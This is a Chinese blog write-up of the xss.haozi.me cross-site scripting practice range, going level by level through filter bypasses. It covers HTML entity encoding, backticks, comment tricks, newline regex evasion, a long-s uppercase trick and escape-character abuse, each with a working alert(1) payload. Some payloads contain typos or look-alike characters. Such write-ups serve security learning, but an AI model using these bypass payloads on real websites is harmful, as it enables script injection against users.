XSS表情包靶场通关记录

本文探讨了XSS攻击中如何利用各种技巧绕过服务器过滤,如HTML编码、字符替换、注释符利用、转义字符、回车绕过等,同时介绍了防御措施,如正则表达式过滤和编码策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

平台

alert(1)icon-default.png?t=LA92https://xss.haozi.me

0X00

源码无防护,直接常规payload绕过

<script>alert(1)</script>

<svgonlad=alert(1)>

 0x01

可以看到注入点是在<textarea></textarea>标签中,想要成功注入的话,就需要我们主动去构造标签,通过闭合<textarea></textarea>,即可注入成功。

</textarea><script>alert(1)</script>'

 00x02

 "><script>alert(1)</script>

0x03

我们通过本关服务端源码,我们可以发现圆括号、方括号都被过滤了,是我们可以用反单引号来代替。

<script>alert`1`</script>

0x04

 这一关通过查看源代码可以发现圆括号、正括号和引号都被过滤,但是我们可以使用html编码来绕过。

<svg><script>alert&#40;1&#41</script>

0X05

 

注入点出于注释符之间,而注释符的后半部分被替换为一个笑脸,而防止了注释被闭合。我们需要知道两种注释方式,分别为:

1.<!-- 注释内容 -->

2.<! -- 注释内容 --!>

所以我们采用第二种方式过关。

--!><script>alert(1)</script>

0X06

查看网页源代码发现使用了正则表达式来过滤,分析regex 表达式/auto|on.*=|>/ig,它匹配了auto、及以on开头的且以=结尾的字符串,所以过滤了autofocus和onerror等时间,以及防止input标签被闭合,但是它并没有匹配换行符,可以通过使用换行来绕过匹配。

1 type="image" src="" onerror
2 
3 =alert(1)

0X07

 <img src="" οnerrοr="alert(1)"

0X08

换行绕过正则

 

</style
>
<script>alert(1)</script>

0X09

 

let语句声明一个块级作用域的本地变量,并且可选的将其初始化为一个值。

test() 方法执行一个检索,用来查看正则表达式与指定的字符串是否匹配,返回true或false。正则表达式白名单式地匹配了固定地址,并闭合前面的标签。

https://www.segmentfault.com/"></script><img src=""

οnerrοr=alert(1)<"

0x0A

 

可以看出过滤了& ` " < > \ ,之后再正则白名单匹配。通过html转义,把能注入的关键字都过滤掉,可以直接引用指定网站下的目录文件来达到xss注入的目的。

比如:在靶场的目录下有个j.js文件,里面有alert(1);代码,直接调用即可(此方法目前已经失效):

这关没过去,有知道的同志麻烦评论告知一下!多谢

0x0B

html字符 ,js进行hex编码绕过

 

可以看出服务器端,将所有字母转换为大写

HTML中对大小写不敏感,JS中对大小写不敏感。

这样可以对JS代码进行hex编码处理,而html部分不变

编码结果类型是html ectities。

比如:

a->&#x61

l->&#x6c

 

 <img src="" οnerrοr=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

域名对大小写也不敏感,所以可以用上一题的方法,调用靶机上自带的j.js代码,完成,xss注入:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

0X0C

该题将/script/替换为空之后,再转为大写。可以按照上题的解法

<img src="" οnerrοr=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

0X0D

回车绕过,JS注释符 -->

该题把斜杠, 单、双引号都过滤了; 回车可以破坏注释结构,js的注释符-->可以注释掉后面的内容。

 

0X0E         

找一个大写是s的拉丁字符,编码绕过大写

这题会把标签内的内容替换,字母都变大写,前面添加一个_。

这几乎过滤了所有的标签,包括<script>

逆向思维,找到一个字符的大写是s的

<ſcript src="" οnerrοr=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)></script>

0X0F 

注释符绕过

        

该题目对字符进行了html实体编码处理,但是,它忽略了一点,由于编码后处于html标签中,所以当解析代码时。被过滤编码的字符仍然会被还原来执行。所以可以说,被过滤的字符可以用。注入使其闭合,在注释掉后面的内容即可:

');alert(1); //

0X10 

提供任意值

没有过滤,随意给window.date一个值,比如空值' ',再注入:

' ' ;alert(1);

0X11

注释符绕过

看到有一些字符被转义了, 包括换行符\n等也被转义了

虽然被转义成了\/\/, 但转义之后还是//, 在js中还是注释符 (勿与正则弄混)

");alert(1);//

"); alert("1

0X12

转义符绕过

 该题将双引号替换。无法闭合。 但是, 它并没有将转义符转义, 那么我们可以使用转义符转义,这样双引号就不会被替换:

\");alert(1);//

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值